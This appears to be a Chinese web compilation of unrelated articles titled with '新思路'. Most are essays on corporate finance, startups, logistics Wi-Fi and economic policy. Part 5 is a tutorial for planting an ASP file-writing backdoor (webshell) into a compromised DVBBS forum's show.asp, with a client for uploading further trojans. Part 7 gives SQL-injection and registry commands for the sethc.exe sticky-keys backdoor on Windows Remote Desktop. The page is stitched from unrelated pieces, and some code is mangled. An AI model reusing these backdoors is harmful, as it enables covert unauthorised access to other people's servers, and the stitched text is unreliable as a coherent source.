加强财务管理新思路浅议
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篇1:加强财务管理新思路浅议
[摘要]科学发展观对于整个社会而言,它在具体实践中是一项科学、系统、严密的庞大的工程,包括经济建设、政治建设、文化建设、社会建设等的全面协调可持续发展。它是促进经济社会又好又快发展的基本要素,而对国有物业公司而言,它是保障公司整体又好又快发展应该拥有的健康机制。作为物业公司中最重要的管理职能——财务管理也必须与社会发展同步,应以科学发展观为指导,加强财务管理新思路。
[关键词]科学发展观财务管理新思路
作为房地产行业重要组成部分的物业公司,在面临越来越激烈的市场经济竞争,需要扭转传统的粗放型管理观念,以科学发展观为指导,了解科学发展观的真实内涵和科学发展观对财务管理目标的新要求和核心目标,才能找出时下企业
加强财务管理新思路。
一、科学发展观内涵
全面、协调、可持续发展是科学发展观的基本内容,它是一个相互联系的有机整体。全面是指各个方面都要发展,要以经济建设为中心,推进经济、政治、文化建设,实现经济发展和社会全面进步;协调是指各个方面的发展和发展的各个方面都要相互适应,要坚持“五个统筹”,推进生产力和生产关系、经济基础和上层建筑相协调,推进经济、政治、文化建设的各个环节、各个方面相协调;可持续是指发展必须保持持久性和承续性,要促进人与自然的和谐,实现经济发展和人口、资源、环境相协调,坚持走生产发展、生活富裕、生态良好的文明发展道路,保证一代接一代地永续发展。
实现全面、协调、可持续发展,就要正确处理速度与结构、质量、效益的关系。既要保持较快的增长速度,又要改善、优化结构,提升增长质量、提高增长效益,实现速度和结构、质量、效益相统一,也要正确处理经济社会和人口、资源、环境的关系。
在了解科学发展观的真实内涵的同时,需探寻科学发展观对财务管理目标的新要求,以便找出时下行政事业单位财务管理存在的主要问题。
二、科学发展观对财务管理目标的新要求
物业管理公司财务管理目标是指物业管理公司从事财务管理活动所期望达到的目的,它决定着企业财务管理的基本方向,同时也受制于物业管理公司目标。物业管理公司的目标为:通过优良的物业管理和高水平的多种经营服务,企业得到盈利。这是一种双重目标,提供更多的产品和更好的物业服务是物业公司存在的前提,而物业管理公司的盈利又是企业发展的必要条件。这种双重目标是相互联系的,缺一不可。
科学发展观下为实现物业管理公司的目标,物业管理公司财务管理的主要任务是:合理编制企业预算;科学配置资金;依法组织收入,加强经济核算,努力节约支出,提高资金使用效益;加强资金管理,防止企业资产流失;建立健全财务管理制度,对企业经济活动进行预测、控制和监督;及时、准确反映企业财务状况。通过制度、预算等主要手段,规范和约束企业的财务行为,保证国家法律、法规、政策的贯彻执行,保护企业资产的安全完整,提高企业资金的使用效益,确保物业管理公司履行公司职能过程中各项业务活动的健康运行,实现其企业发展目标。
三、科学发展观条件下的财务管理核心目标
财务管理目标是企业管理目标在价值角度的再现,应与企业目标相一致。以科学发展观为指导,综合利益最大化应成为财务管理的核心目标,这是各利益主体地位平等化、企业发展持久化以及可持续发展战略的必然要求。现代企业是利益相关者缔结的一项合约,这些相关者包括投资者、债权人、经营者、员工、国家、社会公众以及资源和环境,他们既是合作者,又是利益的矛盾对立者。投资者和债权人预付货币资本或实物资本,经营者和员工预付人力资本,国家预付国有资本和政策资本,社会公众、资源和环境预付生态资本等。这些资本预付者的共同目标是获利,获得应得的资本报酬。投资者投资于企业是希望获得资本增值;债权人借钱给企业是希望获得利息和租金;国家支持企业是希望国有资本增值和征取税收,发展国家经济;经营者和员工服务于企业是为了获得人力资本收益和劳动报酬;社会公众关注并支持企业是希望企业能为他们提供物品和劳务,带来一个繁荣、良好的社会环境等;环境和后代人期望企业能够保护环境、节约资源。从经济学角度看,投资者、债权人、国家,经营者、员工是并列的经济主体,其经济利益是同质的,所不同的仅仅是建立的契约形式不同。
所以,无论从理论上讲还是从利益要求的源头看,企业所追求的不是单一利益,而是综合利益,这种综合利益是各种形式的经济利益之间通过冲突与协调、对立与统一的矛盾运动,相互影响、相互作用的结果。从更广泛的角度看,综合经济利益是多层次、多形式的经济利益的“耦合”。首先,综合利益是客体利益、主体利益、时间利益、过程利益的“耦合”;其次,从各种利益的内部结构看,主体经济利益是投资者利益、债权者利益、经营者利益、员工利益、国家利益、社会公众利益的“耦合”;客体利益是从利益的内容上来看的,利益的内容是经济利益、生态利益、社会利益的“耦合”;时间经济利益是近期利益和远期利益的“耦合”;过程经济利益是资金筹集利益、资金使用利益、收益分配利益的“耦合”。这种多层次系统性综合结构有利于调动各方面的积极性,优化资源配置和经济结构的调整,有利于节约资源,改善环境,实现可持续发展战略。
四、科学发展观指导下,财务管理发展新思路
(一)创新财务管理内容
创新财务管理内容至少包括:第一投资战略调整为“投知”或“投智”战略知识经济时代,企业从事生产活动所需的投资、员工、技术、市场等,均以员工的知识、能力为基础,由此决定了“投知”或“投智”的重要性。第二,利润分配由按资分配调整为按“经济要素”分配。经济要素包括土地、劳动、资本和知识。在知识经济社会中,脑力劳动成为劳动的主要形式,因此按知识或按经济要素分配财富是知识经济社会的必然选择。这种分配模式比按资产分配更符合实际。第三,日常管理内容的扩展。企业应该将无形资产管理作为财务管理的重点。在知识经济时代企业资产结构中,以知识为基础的专利权、商标权、商誉等无形资产在企业的总资产中占有的比重逐渐增大。因此,在现阶段,无形资产也应成为企业财务管理的主要对象,应建立切实反映无形资产状况及其结果的决策指标体系,投资决策的重点应以无形资产为主,并以是否给企业带来人力资源积累、提高人力资源质量、增强企业创新能力及持续发展动力作为效益评价的标准。
(二)转变财务观念,坚持以人为本
现代企业的财务活动是在一定的理财环境下进行的,公司财务资本的取得、运用及其收益分配无不受到理财环境的深刻影响。现代市场经济中,公司所面临的理财环境日趋复杂,在资本市场上,金融创新日新月异,金融工具从一般金融工具发展到衍生金融工具,而且,更多更新的衍生金融工具不断涌现,与社会主义市场经济体制相适应的一系列法律法规日臻规范和完善。在人类21世纪的市场经济环境中,“不确定性是唯一可以确定的因素”。理财环境的复杂多变对公司财务管理提出了严峻的挑战,如何应对这一变化,公司就需要进行观念创新。科学发展观提出“以人为本”的观念对公司财务管理创新具有重要的指导作用。在知识经济条件下,人成为公司生存和发展的决定性因素,应对公司所面临的复杂的理财环境,就必须充分重视人的因素,树立以人为本的财务文化观念。公司价值观的一个重要组成部份就是财务文化观,树立什么样的财务文化观反映了公司的哲学思维理念。传统财务文化观念是物本主义,以物为主。在这种价值观下,公司的物质资本在财务管理中处于第一位的、支配的,人力资本处于第二位的、从属的。结果是忽视了人这个生产力中最活跃、最革命的决定性因素,没有充分发挥劳动者的首创精神。在科学发展观下,人不再是工具和手段,而是目的。经济发展以人的发展为目的,公司的发展要以人的全面发展为目的。我们应该摒弃把物质资本看成最重要经济资源的传统认识,而充分重视人力资源的开发、配置和利用。以人为本的财务观念,就是要充分发挥人的主观能动性,尊重劳动者个人的首创精神,一切为了人,一切依靠人,一切相信人。实行全员的全面财务管理,每个人既是财务管理实施者,又是财务管理成果的受益者。
(三)树立科学的理财观念
首先必须坚持依法理财。要适应形势任务和情况变化,不断修订和完善有关制度规定,做到有法可依;切实维护财经法规的严肃性和权威性,做到有法必依;履行财务人员肩负的监督职能,加强财经法规执行情况的监督检查,督促有关部门严格执行财经纪律,按章办事,及时纠正和查处发现的问题,做到违法必究。其次必须注重勤俭理财。要按照建立节约型社会的总体要求,弘扬艰苦奋斗的优良传统,树立节约意识,坚持量入为出,严把经费标准关,大力压缩行政消耗性开支,把有限的经费用到刀刃上。再次,必须创新理财。一方面,要积极借鉴和运用现代管理科学原理,创新管理方法,促进预算管理、集中采购等各项改革整体推进,逐步提高信息化管理水平。另一方面,要深入考察和研究财务保障中出现的新情况、新问题,积极提出解决供应保障矛盾和问题的新对策、新手段、新措施,切实提高经费使用效益。
(四)结合互联网对财务管理进一步创新
当前,以internet为代表的信息技术的普及和发展,交互式web应用的出现,电子商务浪潮作为经济和知识经济的引擎彻底改变了企业的生存环境,从大规模的生产到个性化生产,从企业以产品为中心到以客户为中心,从企业间产品的竞争发展到信息和人才的竞争从单个企业间的竞争到供应链竞争,从区域竞争到全球化竞争,从以规模取胜到以速度取胜,这些变化使财务管理在管理过程中的手段随之提高尤其是全球经济一体化的进程不断加快通讯手段的飞速发展,信息得以高速流动。资源高度集中电子商务浪潮的掀起使企业财务管理走向网络化,IT环境的形成,信息可以被实时动态地获取、存储、加工和传递。尤其数据平台的建立,将企业内部各部门之间、企业与供应商、企业与客户、企业与其他职能部门紧密地联系在一起,同时也将企业的财务流程和经济业务流程有机地融合在一起。供应链管理的发展,也是财务管理网络化的一个动因,在供应链管理中,财务管理用信息流将物流和资金流整合起来。这样,财务管理的网络化为企业经营在资金和商品之间的传递节省了大量时间,降低了经营费用加速了企业的资金周转,同时在企业做财务决策时也可以在这个链上获得及时的信息。
(五)不断提高财务人员的职业道德水准
财务人员经常与钱物打交道,能否经受住诱惑,经受住各种考验,做到常在河边走就是不湿鞋,这不仅仅是个人素质问题,更是反映财务行业工作的职业道德水准。近几年,财务队伍中发生的个别违纪问题,表明我们在职业道德建设上还存在死角,特别是对财务人员的生活圈、娱乐圈、社交圈管得不够严,掌控不够。职业道德对行业来说是一种风气,对个人来说是形象,作为财务部门的人员,尤其是领导人员,必须带头树立行业新风,通过自身的模范作用和履行好自身职责,带出一支好队伍。
五、结语
更好的研究科学发展观的内涵,是为了更好地把握有限的资源,让有限的资源创造更多的财富。对市场经济环境下物业管理公司财务管理的研究,是为了进一步改进与创新当前财务管理理论与管理方法,从而更好地指导财务管理更加实务,更加国际化。物业管理公司财务管理更应该关注与市场接轨,适应市场、更加透明才能得到长足发展。
【参考文献】
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[5]叶陈毅.无形资产管理.复旦大学出版社..4.
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篇2:企业财务管理新思路探讨论文
摘要:随着我国改革开放进程的不断加快,经济社会快速发展,港口企业规模也在不断扩大,给我国外向型经济的发展带来了重大机遇。港口经济快速发展的同时,在港口企业财务管理的过程中出现了很多问题,使财务管理创新跟不上港口的快速发展,在一定程度上制约了港口的发展。本文根据会计学和财务管理相关理论,对港口企业财务管理中存在的一些问题进行了深入研究,并从财务管理思路创新的角度,以A港口企业为例,进行创新思路研究,对我国企业财务管理创新提出了一些意见建议,以此推动港口经济的快速发展。
关键词:企业;财务管理;思路创新
1研究背景
随着我国经济的快速发展,港口经济一片欣欣向荣,港口规模不断扩大。与此同时,港口财务管理模式,已经远远跟不上港口的快速发展。企业财务管理理念滞后,财务管理人员职业判断能力不高,财务管理中预算、计划、分配的作用发挥不明显。据调查,制约我国港口发展的关键问题是财务管理问题,而不是港口建设和货物吞吐量的问题。我国部分港口企业,财务管理机制落后,创新动力不足,财务舞弊现象频出,与财务管理水平息息相关。企业要想转变财务管理理念,探索出具有可行性的财务管理制度才能够提高企业绩效,确保企业可持续发展。通过本文的相关研究,可以进一步丰富我国的财务管理理论,有助于我国财务管理创新性研究,本文也结合工作实际,从实践的角度去看待财务管理和财务管理思路创新等相关问题,通过实地调研考察,指出我国港口企业财务管理中存在的关键问题,并提出合理的意见建议,以期为我国企业财务管理研究提供实践参考。
2财务管理概念框架研究
财务管理是企业管理层控制企业经营活动的重要载体之一。财务管理从本质上讲是以货币价值形态对企业所涉及的资金活动进行计划、控制、决策等综合性管理,贯穿于企业生产、销售、管理等各个环节。科学的财务管理是现代企业制度的重要保证,企业财务管理目标主要是实现企业价值的最大化。财务管理概念框架的逻辑起点是财务管理的本质,财务本质主要是从财务管理的职能和财务假设来分析。财务管理职能和财务管理特征以及财务管理的原则共同构成了财务管理的外部环境。财务管理要素主要包括财务管理内容和财务管理方法,其中财务管理内容包括投资、融资、资产营运、利润分配等。财务管理方法主要有预测、决策、预算、控制、分析、决策、反馈等。企业财务概念框架的终点是企业的财务管理目标,也就是实现企业价值的最大化。
3我国企业财务管理中存在的主要问题——以A港口企业为例
A港口是随着我国改革开放诞生、成长起来的新兴沿海港口,是我国重点发展的沿海20个主枢纽港之一,新亚欧大陆桥东方桥头堡。A港口企业在快速发展的同时,财务管理弊端逐步显现,主要存在以下几个问题。
3.1会计核算基础较为薄弱
企业资产不实,产权不清,母子公司之间对自身产权都难以确定,对子公司资产考核难以做到准确;数字不准,财务信息汇集非常困难,有时为了汇总一个数据,需要几天时间,即使提供上来,也不真实,不准确,严重影响着公司决策的正确性;信息无用,由于核算标准不统一,核算口径不一致,使汇总信息失去了实际意义和利用价值。会计信息的准确性和及时性达不到会计信息的要求,以至于在财务管理阶段无准确的信息可用。企业财务人员受传统观念和惯性思维约束,认为国有企业不需要财务管理,对财务工作的作用认识不够,改革和创新的意识不强。企业对财务人员的培训和规范均不到位,导致财务人员的观念跟不上发展的脚步,信息化系统应用能力缺乏,不能充分发挥自身职业判断能力,无法适应当前的大环境。
3.2全面预算管理尚未实施
企业实施了预算管理,但只是应用于资金的管理,对于生产、经营、投资、筹资等活动尚未开展全面预算管理,预算管理实施的面较为狭窄,不能发挥企业财务预算的根本作用。预算管理机制相对较为滞后,预算编制缺乏系统性和科学性,不能将预算与生产活动相结合。预算管理机构职责不明确,预算的编制、控制和监督缺乏有效的执行力,员工和部门参与全面预算管理的积极性不高,全员参与程度低,预算指标缺乏有效性。对子公司的财务管理模式不清,会计核算体制机制不规范不健全,缺少总体的财务管理概念和管理机制,没有建立行之有效的财务控制体制;没有建立完善的财务报告机制和资金预算管理机制。
3.3财务资金管理问题较为突出
A港口企业资金周转效率较低,但各子公司平均每月占有资金却达几个亿,存在子公司之间资金使用旱涝不均的情况。与此同时,子公司在资金使用和归集上存在各种漏洞,A企业对其子公司的资金流向不能及时掌握,资金冗余问题突出。由于银行信贷等问题,A港口企业财务资金周转困难,现金流不充足,业务规模扩大和实体化建设受限制,企业的可持续发展能力有待进一步提升。
3.4内部控制及风险管理控制不到位
内部控制制度不健全,企业治理结构不完善,导致不能形成科学的职责分工和控制机制,财务管理和内部控制人员素质不高,职业判断能力较差,影响决策的科学性和有效性。企业凝聚力和团聚力不够,企业内部控制制度的推行有一定的阻力。内部控制核心在于控制的实施,制度的设计与执行都会影响作用的发挥,一方出现问题都会影响控制的效果。A港口企业控制活动效果一般,主要是缺乏执行力,控制活动执行不力是A企业内部控制的一大短板。3.5财务管理信息化水平较低A企业在信息化建设方面欠账较多。主要是信息网络没有构建,信息传递速度和程序较慢和复杂。部分硬件设备陈旧,缺乏具有相关计算机专业知识的技术人员,财务信息化技术应用相对较少,对财务管理信息化理解不透彻,财务信息无法实现网络化管理,导致信息分散,工作量大。
篇3:企业财务管理新思路探讨论文
财务管理应打破原来的旧思维、老思路,要从企业财务管理的概念框架入手,首先明确为什么要财务管理、财务管理的核心和目的是什么,如何才能提高企业财务管理水平和效率,实现企业的可持续发展。财务管理是企业自身管理的'主要手段,有助于企业自身的自我管理和修复。企业财务管理的核心是实现企业的战略目标和企业价值的最大化。财务管理的主要创新点就是从投资、筹资、日常管理、资金管理方面实现新的创新,优化管理方式方法,加大财务管理控制力度,优化财务管理环境。具体来讲主要是从以下几个方面进行创新和研究。
4.1加大会计基础核算力度
要对会计科目和账目进行创新性设置,以优化企业会计核算行为。加大对职工的培训力度和频次,按照缺什么补什么的原则,课程设置要与企业财务管理和会计核算息息相关,不断提升企业财务人员的职业判断能力。
4.2探索实施全面预算管理
要加大全面预算管理实施力度,优化企业预算编制,将预算编制和控制贯穿港口建设、投资、筹资、运营等经济活动中来,不断创新方式方法,将全面预算管理作为企业财务管理的突破口和落脚点。
4.3加大财务资金管理力度
设置资金结算中心,将母公司与子公司闲置资金集中起来,统一筹划企业内部资金的使用,及时调剂余缺,可以遏制子公司浪费资金的现象,资金的使用趋于合理,整体上提高企业资金的有效使用率,资金周转次数将显著提高。在资金结算中心的基础上设置财务公司,进行筹融资活动,优化企业筹融资行为。
4.4加大内部控制管理与创新
要将内部控制与港口企业风险管理相结合,在风险管理中加大内部控制力度,及时预防财务风险的发生,与此同时,进一步加大内部控制力度,做到内部控制环境优良,信息沟通顺畅,控制活动有序。
4.5提高财务管理信息化水平
财务管理的信息化,可以把财务人员从账簿和报表中解放出来,在极短的时间里,就可以对大量信息和数据进行处理和分析。通过信息化建设与银行联网后,在企业内部即可完成收付划转等业务。对子公司而言,也不再需要找母公司协商审批,只需每月在网上申报预算资金,经同意后就可以接到资金审批授权,可用额度会自然到账。
参考文献:
[1]许亮.创新理财机制不断探索港口财务管理新思路[J].时代金融,(30).
[2]梅叶.集装箱港口计费管理与财务管理的关系[J].新会计,(01).
[3]陈冬云.财务管理视角下港口整合面临的问题与对策[J].财经界(学术版),(24).
篇4:浅谈创业新思路
浅谈创业新思路
现在我们看到的创业都是从自己有了一个好的idea后 ,然后根据自己自身的情况来判断这个idea的可行度,如果这个想法和自己本身接触的知识,信息,人脉,资源等等都有联系,并且这个想法在现在还没有人来做,有非常大市场前景,现在很好,你认为可以做。然后你和你身边的一些人聚在了一起组成了一个团队,你们为了一个共同的远景和使命努力奋斗,写自己的商业计划书,然后利用身边的资源来融资或者是通过风投使自己获得一个公司的注册资本和运作资金。接着团队的每一个人都尽职尽责的做好自己本职的工作,并且一起来谋划未来公司的发展趋势和走向。如果作为一个大学生,他如果想创业就好像要非常的了解企业,产品方向,管理以及一些核心技术性的知识。这些东西有几个大学生能有啊!并且大学生在注册公司的注册资本和启动资金方面也是一个巨大的问题。一且都是从零起点做起,仿佛一看创业可望而不可及。从一些教授和导师的授课中(以及网上的一些视频讲座),我在想,是不是有一些更简单的方法来让我们取得成功呢?答案是肯定的!
首先有一点我们都同意的是成功是一点一点积累起来的,每一个人成功都是建立在上一个成功的基础之上的。我们不可能一开始就把自己的公司打造成IBM,联想,阿里巴巴,沃尔玛等等的世界五百强型的企业;因此我们想成功创业的一个前提是一定要追求轻松,简单,快速和安全的成功。想想如何去实现一个小的成功,然后把每一个小的成功进行累加,最后变成一个大的成功,你每成功一次你都会发现一些小窍门,众多的小窍门聚集起来就变成了你的财富,你的资产,你的成功保证。
其次我想说的是现在是一个信息大爆炸的时代,在这个时代很多的产业都已经兴起并且包括很多的附属产业。你想创业你不是一定什么都要从零开始,你是一个学生,你的资源非常有限,你接触的人就是那几个老师和同学,怎么办?你如何去找我想要的杠杆呢?我想了想方法不是没有,只是需要逆向思考,就是首先你知道他能帮你,当时你如何说服他(可以是一个人,一个企业或风险投资机构)为你提供资源(或者叫鱼塘)。就是他为什么要帮助你,帮助你之后他有什么好处,你能还给他带来多大的利益,帮助你有没有风险,成功的几率有多大等等,这些问题他很困扰。因此你要让他的这种困扰不复存在。就是所谓的你要给他一个零风险承诺,排除它的后顾之忧。并且这种零风险承诺你是能够实现的,不是空口白话。方法有很多,这里我不详细说明。我只是想说你要学会利用别人的鱼塘来为你零基础弥补空白,这样开始创业你就不是在零起点而是站在半山腰。
再者无论你做什么产品和服务,你都离不开的一个东西,那就是客户。刚开始创业没人知道你,没人知道你的公司,你和你的公司在茫茫的.红海中挣扎,没有顾客你的公司运营不下去怎么办?如何去争取顾客呢!我从刘克亚老师的讲座中得到灵感就是上面的借用杠杆。不管怎么说,你想要的顾客现在一定已经是别人的顾客,那么你要做的就是让别人的鱼塘里的鱼变成你的鱼,要别人鱼塘里的顾客变成你的准客户,这一步营销学里叫做抓潜。通过抓潜你拥有了客户,这些潜客户杜变成了你的准客户,你有了客户之后你要和他交易,出售你的产品和服务。那为什么客户会花钱买你的产品和服务呢!同理就是你的零风险承诺和你给他带来的价值。你是怎样给他价值的呢!并且他是如何感到他得到的很超值呢!那就是每个人都有梦想和你一样他们也想成功。你提供的正是他们此阶段非常渴望的产品和服务。并在此之上的是,你会给他们提供一大部分免费资源,这样最开始的时候他们的欲望得到了满足,并且没有花一分钱,非常超值,你给他们心中的印象非常深刻,这样你就建立起了顾客在你这里的归属感,他对你产生了信任,那么以后你推出的任何产品和服务他都非常感兴趣,因此他想和你交易。这样企业就从一个被动销售变成了主动销售,你掌握了主动权,你不在为了争取顾客需要花费大量的营销费用,这样你的公司变成了一个良性循环,这样你的公司就有了复制,外延和放大的基础,你将走得更远。
篇5:后门新思路
作者:随矜而去 www.xxql.com/
今天给大家说一下 在动网BBS下一个做后门的新思路
大家入侵完一个动网BBS后,怎么做一个后门,这个是我攻击一个黄色网站时候想到的,但不知道是不是有人已经比我先想到,我就在这里说了!
好了,开始吧,我们在他论坛下找到show.asp,然后编辑!
在最下面插入
<%dim noon%>
<%noon=request(“noon”)%>
<%if noon=“xxql.com” then%>
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set bjFSO = Server.CreateObject(“Scripting.FileSystemObject”)%>
<%if Trim(request(“syfdpath”))“” then%>
<%fdata = request(“cyfddata”)%>
<%Set bjCountFile=objFSO.CreateTextFile(request(“syfdpath”),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write “save Success!”%>
<%else%>
<%response.write “Save UnSuccess!”%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set bjCountFile=Nothing%>
<%Set bjFSO = Nothing%>
<%=server.mappath(Request.ServerVariables(“SCRIPT_NAME”))%>
<%end if%>
我只是把人家的代码拆分了一下用用,嘿嘿,别建议哈
然后大家看一下:www.XXX.com/bbs/show.asp?noon=xxql.com
拉到最下面,看到绝对路径了没有?
在人家论坛的后门已经算做好了,什么意思呢,很简单,这是一个服务端的代码,然后您在其他空间或者本地支持ASP的地方做一个客户端,看代码:
<%Response.write “
<%Response.Write “”%>
<%Response.Write “”%>
<%Response.write “”%>
<%Response.write “输入马的内容:”%>
<%Response.write “”%>
<%Response.write “”%>
<%Response.write “”%>
这里我说明一下,在服务端的最后一段代码是显示绝对路径的
然后在客户端的 action=“” 里就填上你服务端所在的文件路径
下面一个value=“” 改成你存放在马所在服务器上的绝对路径
这样你随便把客户端放在哪里都可以对服务端上传其他的木马
就这样,很简单!假如大家觉得麻烦也可以用海洋里自带的后门工具
篇6:新世纪新思路
新世纪新思路
在跨入新世纪之际,山东省水利厅机构改革取得阶段性成果,机关各处室负责人面对新挑战、新机遇,意气风发,畅谈“十五”期间,特别是的工作新思路,努力为新世纪的山东水利工作找准路子,起好步子,创出一片新天地.
作 者: 作者单位: 刊 名:山东水利 英文刊名:SHANDONG SHUILI 年,卷(期): “”(3) 分类号:F1 关键词:篇7:3389新思路
版权所有:BK瞬间群
作者:BK群某饮料
1.能修改注册表
2.能访问3389
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','';--
REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v debugger /t REG_sz /d “c:\windows\system32\cmd.exe” on /f
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethcasd.exe]
“debugger”=“c:\\windows\\system32\\cmd.exe on”
regedit
/s 导入 .reg 文件进注册表(安静模式)
/e 导出注册表文件
例:regedit /e filename.reg HKEY_LOCAL_MACHINE//SYSTEM
magnify.exe
osk.exe
sethc.exe
篇8:物流信息化新思路
物流信息化新思路
计算机与通信技术的融合,开创了行业信息化建设的新纪元,也为电信运营商的发展带来新的商机。物流信息化建设作为行业信息化建设的冰山一角,为通信技术的延伸与融合提供了新思路。在青岛市海尔工业园物流中心,6000多平方米的物流中心里仅有10多个工作人员忙碌其中,10多台运货车穿梭其间。此前,这里的工作人员超过200人。而且,正是这个立体仓库,使得海尔节省了43个足球场那么大的仓储面积。
这一切神奇的变革的答案来自于海尔实施的物流信息化建设。
海尔的例子从一个方面反映出物流行业信息化建设的巨大能量,而随着市场环境的变化,行业信息化建设已成为企业适应市场的一大具体要求,物流企业惟有加大信息化建设力度方能抢得市场先机,节省成本、提高效率。
物流信息化是行业发展的必然趋势,无线接入技术的应用也将成为物流业赢利的法宝。
现代化的物流配送中心除了具备自动化的物流设备和丰富的物流技术之外,还应具备现代化的物流管理系统,这样才能取得最大的效率和效益,而这种管理系统的架构则来自于物流行业信息化建设。信息网络是实现物流信息化的基础,评价物流管理能力,通常是通过使用仓储和资源的效率来进行的。过去,在物流行业流行的“大而全”思维已不能适应现代物流的发展概念,仓储资源可以通过租用或者直接建设完成,运输资源可以通过合同车队或者组建车队来完成,这些都不再成为左右物流企业发展步伐的关键因素。运输和仓储企业并不是物流企业,物流企业也不一定建构在运输和仓储之上,运输和仓储能力并不是物流企业的必要条件,运输和仓储只是物流企业需要整合的资源对象,单纯依靠扩大基础设施诸如仓储和运输规模来赢得市场的想法将被市场所淘汰。
所以,在现代物流概念中,急需依托信息网络来提高单位成本的运作效率,这使得物流行业信息化建设显得迫切。仓储资源的合理整合是为了缩小供应与需求之间的时间与数量偏差,运输资源的整合则是为了达到即时供应的效果。
由此看来,物流企业需要驶上信息化的高速公路。随着计算机与通信技术融合的进一步深入,如何利用网络新技术,为企业发展抢占先机成为众多物流企业面临的一道难题,在这方面,一些企业已经走到了前列,成效显著。例如,在海尔物流中心的信息化建设中,使用无线网络和相关软件管理系统,工作人员只需扫描物料周转箱上的条形码,就可以轻松完成收货程序;而如果物料不在定单范围内,信息终端就会自动报警,避免了人为因素导致的库存增加。
这种使用无线网络进行的业务操作和原有网络管理功能的延伸,使仓库的任务不再是用来储存物资,而是过站物流的一个点,它只是暂时存放各种原材料和半成品,然后由计算机进行配套,把配置好的.零部件直接送到生产线。从这个意义上来说,无线网络技术使仓库成为一条流动的“河”,极大提高了仓库的利用率,使企业趋向“零库存”。
在国内,无线接入技术在实际应用领域还是比较新的,在物流领域的应用也是刚刚起步。但是,无线技术由于其安装便捷、使用灵活、经济节约以及易于扩展的优点,将会迅速地应用于需要在移动中连网和在网间漫游的场合,为用户提供实时服务,并可以不断延伸原有信息技术的应用,使各种技术不断融合。
WLAN:节约成本、提高效率,创新物流运作模式。
无线接入技术是一种柔性的数据交换系统,是对普通接入技术的一种延伸、补充。它通过采用无线通信技术,即可通过各种终端设备准确、及时地发送接受数据,实现数据、资源的共享。
物流是货物在流动过程中的管理,要保证货物即时供应,必须实现实时记录数据,真实反映货物的流通过程。因此,仅使用固定的台式计算机等终端设备进行操作是远远不够的,必须使用移动的手持设备跟踪货物,物流过程中作业现场的信息收集为无线局域网在物流业的应用提供了广阔的应用空间。
不仅如此,物流业的行业特性要求物流中心的工作必须在短时间内完成货物数据收集、勾核、分拣等作业。因此,数据的传输速度和工作效率的要求都非常高。无线网络与普通的局域网相比有以下几个特点:第一、灵活移动性,无线网络可为用户提供实时的或者移动性网络资源共享。这是普通局域网无法达到的。第二、安装简单、快捷,WLAN最大的优势就是免去或减少了网络布线的工作量,一般只要安装一个或多个接入点设备,就可建立覆盖整个企业业务范围内的局域网络。第三、运行成本低廉,尽管初期投资比较高,但其安装成本、运行成本以及使用寿命而言,都得到了巨大的改善。第四、可扩展性强,无线局域网可以配制成各种网络拓扑结构来满足多种应用和安装需要。从点对点的小型网络,到需要在某一范围内实现漫游功能的较大型网络,均不需要更改任何硬件设施。
由此可见,无线局域网的突出特点能够优化组合庞大的物流资源,在节约成本的同时,提高工作效率,为物流业的发展引入了新思路。
物流市场广阔,运营商能否切入分得“蛋糕”成关键。
在国内,WLAN的技术和产品在物流行业的应用刚刚起步。但是,WLAN的巨大优势注定其必将在未来物流业信息建设中占据重要位置。作为网络建设生力军的电信运营商,如何把握住WLAN的行业应用“钱”景,分得信息化建设的“蛋糕”将关系到电信运营商们的生存处境,而有着广阔市场前景的物流行业无疑是无线接入技术应用的最前站,有着探索和示范的意义。
在电信企业ARPU值不断下降的今天,运营商如何开发出新业务获得更多的利润增长点成为电信企业尤其是固网运营商走出发展乏力尴尬境地的关键。无线接入技术的应用为电信运营商带来新的商机:利用行业信息化建设的巨大商机,真正进入社会各行业产业链,依托于产业链的基础,提供适合企业发展的个性化服务,为行业资源的优化组合提供技术支持。
尽管无线接入技术只是物流信息化建设的冰山一角,如何利用信息化建设的商机,切入企业用户,进入行业建设中去,不断延伸、补充现有的业务资源,将成为电信运营商们下一个发力点。
篇9:经济发展要有新思路
经济发展要有新思路
在世界科技进步日新月异、经济全球化趋势继续发展、综合国力竞争日益激烈的条件下,发展要有新思路,经济发展更是如此。十六大报告提出了必须集中力量解决好关系全局的几个有关经济发展的重大问题,值得我们认真研究、体会。一、新世纪新阶段的奋斗目标是全面建设小康社会
关于新世纪新阶段即21世纪头20年,中国的奋斗目标是全面建设小康社会还是加快现代化,曾有不同的认识。不少省市特别是东部一些省市,都提出加快和率先实现现代化的目标。因此有的同志主张用加快现代化作为奋斗目标。但是,许多同志认为,我国正处于并将长期处于社会主义初级阶段,现在达到的小康还是低水平的、不全面的、发展很不平衡的小康。2000年,我国人均GDP854美元,不仅同当年高收入国家人均GDP27443美元有很大距离,而且同当年中等收入国家人均GDP2039 美元和下中等收入国家人均GDP1153美元也有较大距离。 我国生产力和科技教育还比较落后,工业化还没有完成,实现现代化还有很长的路要走;城乡二元经济结构还没有改变,地区差距扩大的趋势尚未扭转,很大一部分地区农民收入没有达到小康收入水平,贫困人口还为数不少(农村有2800万人尚未脱贫,城市有近2000万人领取最低生活补助金)。根据这样的国情,比较切合实际的选择是,在本世纪头20年,集中力量,全面建设惠及十几亿人口的更高水平的小康社会,使经济更加发展、民主更加健全、科教更加进步、文化更加繁荣、社会更加和谐、人民生活更加殷实。这是实现现代化建设第三步战略目标必经的承上启下的发展阶段,也是完善社会主义市场经济体制和扩大对外开放的关键阶段。经过这个阶段的建设,再继续奋斗几十年,到本世纪中叶基本实现现代化,把我国建成富强民主文明的社会主义国家。
